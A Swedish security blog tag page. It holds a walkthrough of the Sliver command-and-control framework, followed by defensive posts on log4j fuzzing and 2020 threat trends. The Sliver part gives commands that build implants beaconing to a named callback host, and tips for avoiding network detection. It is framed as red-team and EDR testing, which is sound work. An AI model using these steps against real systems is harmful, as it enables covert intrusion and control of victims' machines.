Taggat med: EDR

Test av attack-ramverket Sliver

Sliver logo

Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.

Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).

Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:

  • Mutual TLS (mtls)
  • HTTP/s
  • DNS
  • Wireguard

Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.

Installation av Sliver

Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?

curl https://sliver.sh/install|sudo bash

Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.

Installationsvideo:

Installation av Sliver

Och skärmdump för att hamna i kommandoskalet:

Sliver C&C

Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:

sliver-se 113254 root 11u IPv6 142430 0t0 TCP *:31337 (LISTEN)

Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:

/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg

Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.

I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.

Skapa ett implantat

Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.

Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.

Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.

För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:

generate --mtls backdoor.kryptera.se --save /home/vagrant/implants

Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:

sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe

sliver >

Tittar vi lite närmare på filen ser den ut enligt följande:

┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows

┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep  2 09:04 implants/SHY_AIRSHIP.exe

Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:

sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants

[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe

sliver >

Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:

Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.

För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:

mtls sliver

Exekvering av implantatet

Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.

Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:

[*] Beacon 3430432f DOUBLE_MANAGEMENT - 41.33.120.5:64418 (DESKTOP-SZ3UOJ) - windows/amd64 - Sat, 03 Sep 2022 12:38:15 UTC

Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:

Sliver beacons

Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.

Demo:

Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.

Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.

Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:

[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)

Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:

sliver reconfig

Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:

  • Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
  • Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
  • Det finns ingen inbyggt persistens för implantatet, se följande issue.

Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.

Sliver hittar du på Github här:

Senaste versionen när detta blogginlägg skrivs är 1.5.25 och släpptes fredag den 5:e september 2022.

Identifiera log4j med OSS-Fuzz och några säkerhetshöjande tips

Såhär i efterhand är det bra att dra lärdomar från log4j-sårbarheten och hur vi i framtiden kan förhindra liknande sårbarheter. En av mina personliga metoder är att genomföra fuzz-tester för att identifiera indikationer på att något är fel i ett system, bibliotek eller mjukvara.

Ett av Googles projekt som har identifierat flest antal sårbarheter genom tiderna heter OSS-Fuzz och drivs av ett antal backends såsom  libFuzzerAFL++ och Honggfuzz. I början av 2021 så fick libFuzzer stöd för att fuzza Java-kod med hjälp av Jazzer. Främst kod som är skriven JVM-baserade språk, såsom Java, Kotlin och Clojure.

Bildkälla: code-intelligence.com

För den fuzzing-kod som har hand om Remote JNDI-lookups så går den att se här. Men givetvis är fuzz-tester inte enbart den enda lösningen på att bygga säkra och robusta IT-system. Några andra säkerhetshöjande åtgärder för att försvåra attacker såsom Log4Shell (log4j) i framtiden:

  • Begränsa så att servrar och klienter inte får prata godtyckligt ut mot internet. Gäller även DNS-uppslag
  • Använd data-dioder för att föra in loggar i fysiskt separerade system. Till exempel en SOC/SIEM (airgap)
  • Se över Er software bill of materials (SBOM)
  • Genomför regelbundet automatiska och manuella penetrationstester
  • Öva regelbundet olika scenarior där ni exempelvis snabbt måste identifiera ett tredjepartsbibliotek och begränsa skadan som kan uppstå till följd av en sårbarhet
  • Se till att ni har verktyg som stödjer alla olika former av aktiviteter såsom den på raden ovan. Buzz-word för ett sådant verktyg kan vara Endpoint Detection & Response (EDR). Rekommenderar att snegla på Velociraptor (blogginlägg kommer)
  • Mjukvaror, system osv bör separeras så mycket som det går och gå med så låga behörigheter som möjligt. Se till att ha en förmåga att logga om en mjukvara avviker från detta
  • Ställ relevanta säkerhetskrav vid anskaffning av produkter och system. Följ upp så att dessa krav efterlevs

Photo by Danial Igdery on Unsplash

Cybersäkerhetstrender och hot inför 2020

Cybersäkerhetstrender och hot inför 2020

Nästan varje år har jag försökt att skriva om vilka trender inom cybersäkerhet som jag tror vi kommer att se framöver samt andra iakttagelser. Dessa spaningar är givetvis fria att använda inom Er egen organisation och sprida vidare eftersom allt innehåll på kryptera.se är licensierat med Creative Common Attribution 4.0 International (CC BY 4.0).

Password Spraying och Credential stuffing

En återkommande fråga jag får är: ”När tror du att lösenord försvinner?” och hur vi än gör så kommer vi att dras med lösenord och PIN-koder ett bra tag framöver. Detta är så klart något som antagonister också drar till nytta och hittar fler plattformar och protokoll att försöka gissa korrekta användarnamn och lösenord.

Min spaning är att ännu mer plattformar och protokoll kommer att utsättas för forceringsförsök gällande användarnamn och lösenord. Även spår jag att attacker som utnyttjar 2FA kommer att öka bla genom MITM (man-i-mitten).

Zero trust och Assume Breach 

Vi måste bygga våra nätverk och IT-arkitektur på ett sådant sätt så att även om angriparen kan ta sig in till en enskild klientdator så kan hen inte eskalera sina rättigheter eller ta sig vidare utan att detta snabbt upptäcks och utreds. Detta ställer också krav på att Threat Hunting ständigt pågår samt att det finns bra lösningar för Endpoint Detection and Response (EDR).

Det är viktigt att ha en baseline över hur Er miljö ser ut och vilken nätverkstrafik som flödar vart, vilka mjukvaror ska vara installerade osv. För det är då det också är enklare att identifiera avvisande mönster. Förutsätt att angriparen redan är inne i era nätverk och gör det svårare att komma åt affärskritisk information.

Bild över Googles Zero-trust initiativ BeyondCorp:

Zero Trust

Appliance hacking

Under året har vi sett flertalet stängda plattformar (On-Premise) såsom Citrix NetScaler, Pulse Secure, Fortigate (se blogginlägg här). Eftersom härdningen av dessa plattformar många gångar är eftersatt och loggningen är bristfällig så är det även svårt att utföra forensiska undersökningar eller upptäcka intrång.

Samt så står dessa enheter som oftast i en central punkt där många ansluter eller mycket trafik passerar vilket gör detta till en guldgruva för antagonister. Förutom att läsa av och modifiera trafik som går genom enheten så kan det även finnas möjlighet att angripa klienter som ansluter.

Inom detta område så räknar jag även in Supply Chain Cyber Security, för allt som ansluts och kopplas in i era system bör kontrolleras, avgränsas eller isoleras. Betänk även att firmware/mjukvaru-uppdateringar kan påverka Er miljö positivt eller negativt gällande säkerheten.

Threat sharing

Denna spaning är nog mer en förhoppning från min sida. Nämligen att fler organisationer blir bättre på att dela med sig av IOC:er och information om intrång. Mer transparens och system för att möjliggöra automatisk och snabb delning av hotinformation, såsom MISP eller TheHive.

Om du jobbar inom en specifik bransch så skulle jag påstå att det är av stor vikt att ni delar med Er av hotinformation inom just Er bransch.

Inom rubriken Threat Sharing så vore det även tjänstefel om jag inte nämnde MITRE:s ATT&CK-ramverk som löpande utvecklas och gör det lättare att dela med sig av sådant som inte är rent tekniska IOC:er såsom Tactics, Techniques and Procedures (TTPs). Vilket kan förevisas med David J Biancos Pyramid of Pain:

Ett medskick till Er organisation är att undersöka hur ATT&CK går att använda i Era säkerhetsprodukter såsom antivirus-mjukvara.

Övriga bubblare på listan

Ett ständigt återkommande problem är alla uppkopplade prylar (Internet of Things) där dagligen nya sårbarheter uppdagas. Detta kommer troligtvis inte att minska i takt med att fler saker blir uppkopplade, samt att fler fordon etc blir uppkopplade. Och kommer 2020 vara året då vi kommer att få se fler säkerhetsprodukter med Artificiell intelligens (AI)?

Några tidigare års trendspaningar inom cybersäkerhet och kryptering hittar du här: